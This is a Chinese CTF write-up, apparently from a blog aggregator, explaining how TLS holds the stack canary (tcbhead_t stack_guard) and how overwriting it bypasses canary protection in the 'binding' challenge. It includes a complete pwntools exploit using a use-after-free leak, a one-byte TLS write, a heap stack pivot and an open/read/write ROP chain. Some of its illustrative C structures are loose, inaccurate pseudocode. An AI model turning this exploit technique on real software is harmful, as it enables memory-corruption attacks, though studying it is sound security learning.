劫持TLS绕过canary && 堆和栈的灵活转换

tls,canary · 浏览次数 : 12

小编点评

很抱歉,由于您提供的信息不完整,所以我无法回答这个问题。如果您有其他需要,也可以告诉我,我很乐意为您解答。

正文

引入:什么是TLScanary?

TLScanary 是一种在 Pwn(主要是二进制漏洞利用)中常见的技术,专门用于处理 TLS 保护的二进制文件。在安全竞赛(例如 CTF)和漏洞利用场景中,攻击者需要应对目标程序的多层安全机制,其中 TLS 是一种常见的保护措施。TLScanary 结合了 TLS 协议与堆栈保护(stack canary)技术,增加了攻击难度。

可见TLS和canary有着不可分割的关系

介绍:TLS的基本概念(pwn canary中)

  • TLS 是一种用于在线程本地存储数据的机制。每个线程都有自己的 TLS 区域,用于存储与该线程相关的特定数据。
  • 在堆栈保护方面,TLS 常被用于存储堆栈 canary 值,这是一种防止缓冲区溢出攻击的安全措施。
  • 堆栈 canary 是一种在函数返回地址之前插入的特殊值,用于检测堆栈溢出。如果缓冲区溢出覆盖了 canary 值,程序会在返回前检测到不一致,并终止执行,防止恶意代码执行。

其实对于多线程的canary来说,每个线程的canary都是独立存在的,当一个线程被创建时,操作系统会为该线程分配一个独立的 TLS 区域。这个区域通常通过某种线程控制块(TCB)来管理,每个线程都有一个独立的 TCB。

在多线程环境中,每个线程的堆栈上都会有一个独立的 canary 值。操作系统或运行时库在为每个线程分配堆栈时,会在堆栈的适当位置插入一个 canary 值。

一个示例代码

void* thread_function(void* arg) {
    // 每个线程有自己独立的 TLS 区域
    __thread int thread_local_variable = 0;

    // 在函数入口处插入 canary 值
    unsigned long canary_value = generate_random_canary();

    // 检查 canary 值是否被修改
    if (canary_value != expected_canary_value) {
        terminate_program();
    }

    // 线程的实际工作
    // ...

    return NULL;
}

int main() {
    pthread_t threads[NUM_THREADS];

    // 创建多个线程
    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_create(&threads[i], NULL, thread_function, NULL);
    }

    // 等待所有线程完成
    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_join(threads[i], NULL);
    }

    return 0;
}

struct pthread结构体

#include <stddef.h> // 为了使用 size_t

/* Definition of the tcbhead_t structure (hypothetical) */
typedef struct {
    // 定义线程控制块头部结构体
    // 可以根据实际情况进行定义
    // 例如:线程 ID、状态信息等
    int thread_id;
    // 其他相关信息
} tcbhead_t;

/* Define the pthread structure */
struct pthread {
#if !TLS_DTV_AT_TP
    /* This overlaps the TCB as used for TLS without threads (see tls.h).  */
    tcbhead_t header; // 可能与 TLS 相关的头部信息
#else
    struct {
        // 更复杂的结构体定义
        // 可能包含与 TLS 相关的更多详细信息
        // ...
    } header;
#endif

    /* Extra padding for alignment and potential future use */
    void *__padding[24]; // 填充数组,用于对齐和可能的未来扩展
};

看见看到struct pthread结构的第一个字段是tcbhead_t

tcbhead_t 结构体的解析:

typedef struct {
    void *tcb;            /* 指向线程控制块(TCB)的指针 */
    dtv_t *dtv;           /* 线程特定数据的指针 */
    void *self;           /* 指向线程描述符的指针 */
    int multiple_threads; /* 标识是否有多个线程 */
    int gscope_flag;      /* 全局作用域标志 */
    uintptr_t sysinfo;    /* 系统信息 */
    uintptr_t stack_guard;/* 堆栈保护 */
    uintptr_t pointer_guard; /* 指针保护 */

    /* 其他可能的字段... */
} tcbhead_t;

其中stack_guard里面放的就是单线程的canary,通常可以通过覆盖它的内容来达到绕过canary保护的目的

一道题目的引入

刚好对于上一篇留下的问题,题目:binding

题目保护情况

64位ida载入

初看时是个堆题

 

add函数申请大小有限制,一次创建两个堆块,calloc申请堆块

edit函数,白给任意地址写一个字节(因为unsigned __int8类型指针占一个字节),有溢出不多,可以迁移

free函数,明显的UAF漏洞可以泄露地址

show函数

开了沙箱,只能orw

📍思路:1.通过UAF漏洞泄露heap地址和libc地址

2.通过任意地址写劫持stack_guard来绕过canary保护

3.通过栈迁移迁移到heap上,执行rop链

EXP:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

libc =ELF('./libc-2.31.so') 
#io = process('./binding')
io = remote('node5.buuoj.cn',26892)
def add(index,size,content):
    io.sendlineafter('choice:','1')
    io.sendlineafter('Idx:',str(index))
    io.sendlineafter('Size:',str(size))
    io.sendafter('Content:',content)



def edit(index,content1,content2):
    io.sendlineafter('choice:','2')
    io.sendafter('Idx:',index)
    io.sendafter('context1: ',content1)
    io.sendafter('context2: ',content2)


def show(rw,index):
    io.sendlineafter('choice:','3')
    io.sendlineafter('choice:',rw)
    io.sendlineafter('Idx:',str(index))



def free(index):
    io.sendlineafter('choice:','4')
    io.sendlineafter('Idx:',str(index))




#gdb.attach(io)
for i in range(6):
    add(i,0x100,'a')

for i in range(1,5):
    free(i)

#gdb.attach(io)
show('0',2)
io.recvuntil(': ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x5d0
success('heap_base----->'+hex(heap_base))

#gdb.attach(io)
show('1',4)
io.recvuntil(': ')
libc_base = u64(io.recv(6).ljust(8,b'\x00'))  - 96 - 0x10 -libc.sym['__malloc_hook']
success('libc_base----->'+hex(libc_base))
TLS = libc_base + 0x1f3568
success('TLS----->'+hex(TLS))
pause()

pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
leave_ret = libc_base + 0x00000000000578c8 # leave ; ret

#gdb.attach(io)
orw_payload = p64(pop_rdi) + p64(heap_base + 0x1010)+p64(pop_rsi) + p64(0)+p64(pop_rdx)+p64(0) +p64(libc.sym['open']+libc_base)
orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x200) 
orw_payload += p64(pop_rdx) + p64(0x30) + p64(libc.sym['read']+libc_base)
orw_payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x200) + p64(pop_rdx) + p64(0x30)
orw_payload += p64(libc.sym['write']+libc_base)

orw_payload = orw_payload.ljust(0xb0,b'a')
orw_payload += b'./flag\x00\x00'

add(6,0x120,orw_payload)

payload = b'0'.ljust(0x28, b'\x00') + p64(0) + p64(heap_base+0xf58) + p64(leave_ret)
edit(payload,p64(TLS),b'\x00'*8)


io.interactive()

 

与劫持TLS绕过canary && 堆和栈的灵活转换相似的内容:

劫持TLS绕过canary && 堆和栈的灵活转换

引入:什么是TLScanary? TLScanary 是一种在 Pwn(主要是二进制漏洞利用)中常见的技术,专门用于处理 TLS 保护的二进制文件。在安全竞赛(例如 CTF)和漏洞利用场景中,攻击者需要应对目标程序的多层安全机制,其中 TLS 是一种常见的保护措施。TLScanary 结合了 TLS

4.5 x64dbg 探索钩子劫持技术

钩子劫持技术是计算机编程中的一种技术,它们可以让开发者拦截系统函数或应用程序函数的调用,并在函数调用前或调用后执行自定义代码,钩子劫持技术通常用于病毒和恶意软件,也可以让开发者扩展或修改系统函数的功能,从而提高软件的性能和增加新功能。钩子劫持技术的实现一般需要在对端内存中通过`create_alloc()`函数准备一块空间,并通过`assemble_write_memory()`函数,将一段汇编代

1.13 导出表劫持ShellCode加载

在`Windows`操作系统中,动态链接库`DLL`是一种可重用的代码库,它允许多个程序共享同一份代码,从而节省系统资源。在程序运行时,如果需要使用某个库中的函数或变量,就会通过链接库来实现。而在`Windows`系统中,两个最基础的链接库就是`Ntdll.dll`和`Kernel32.dll`。Ntdll.dll是Windows系统内核提供的一个非常重要的动态链接库,包含了大量的系统核心函数,如

Vue源码学习(一):数据劫持(对象类型)

好家伙,了解一下Vue如何实现数据劫持 1.Vue中data的使用 首先,我得搞清楚这玩意的概念,我们先从vue的使用开始吧 想想看,我们平时是如何使用vue的data部分的? 无非是这两种情况 (你可千万不要带着惊讶的表情说"啊!原来有两种写法的吗") //函数写法 data() { return

DHCP欺骗劫持与防御策略

DHCP欺骗劫持与防御策略 一、任务目的 掌握DHCP的欺骗原理与DHCP监听配置 二、任务设备、设施 ensp win10 VMware typora win7 三、任务拓扑结构图 四、基本配置 1.接口IP与默认路由配置(在这里同样可以使用ospf,加上反掩码效果一样) R1 system-vi

驱动开发:内核RIP劫持实现DLL注入

本章将探索内核级DLL模块注入实现原理,DLL模块注入在应用层中通常会使用`CreateRemoteThread`直接开启远程线程执行即可,驱动级别的注入有多种实现原理,而其中最简单的一种实现方式则是通过劫持EIP的方式实现,其实现原理可总结为,挂起目标进程,停止目标进程EIP的变换,在目标进程开启空间,并把相关的指令机器码和数据拷贝到里面去,然后直接修改目标进程EIP使其强行跳转到我们拷贝进去的

驱动开发:内核远程线程实现DLL注入

在笔者上一篇文章`《驱动开发:内核RIP劫持实现DLL注入》`介绍了通过劫持RIP指针控制程序执行流实现插入DLL的目的,本章将继续探索全新的注入方式,通过`NtCreateThreadEx`这个内核函数实现注入DLL的目的,需要注意的是该函数在微软系统中未被导出使用时需要首先得到该函数的入口地址,`NtCreateThreadEx`函数最终会调用`ZwCreateThread`,本章在寻找函数的

4.5 MinHook 挂钩技术

MinHook是一个轻量级的Hooking库,可以在运行时劫持函数调用。它支持钩子API函数和普通函数,并且可以运行在32位和64位Windows操作系统上。其特点包括易于使用、高性能和低内存占用。MinHook使用纯汇编语言实现,在安装和卸载钩子时只需要短暂地锁定目标线程,因此对目标线程的影响非常小。

驱动开发:内核层InlineHook挂钩函数

内核中的`InlineHook`函数挂钩技术其实与应用层完全一致,都是使用劫持执行流并跳转到我们自己的函数上来做处理,唯一的不同只有一个内核`Hook`只针对内核API函数,虽然只针对内核API函数实现挂钩但由于其身处在最底层所以一旦被挂钩其整个应用层都将会受到影响,这就直接决定了在内核层挂钩的效果是应用层无法比拟的,对于安全从业者来说学会使用内核挂钩也是很重要的。

[转帖]k8s 服务注册与发现(一)DNS

文章目录 什么是DNS域名层级域名服务器 工作原理反向代理水平扩展集群中的 DNS......DNS劫持 什么是DNS 域名系统(英文:Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用UD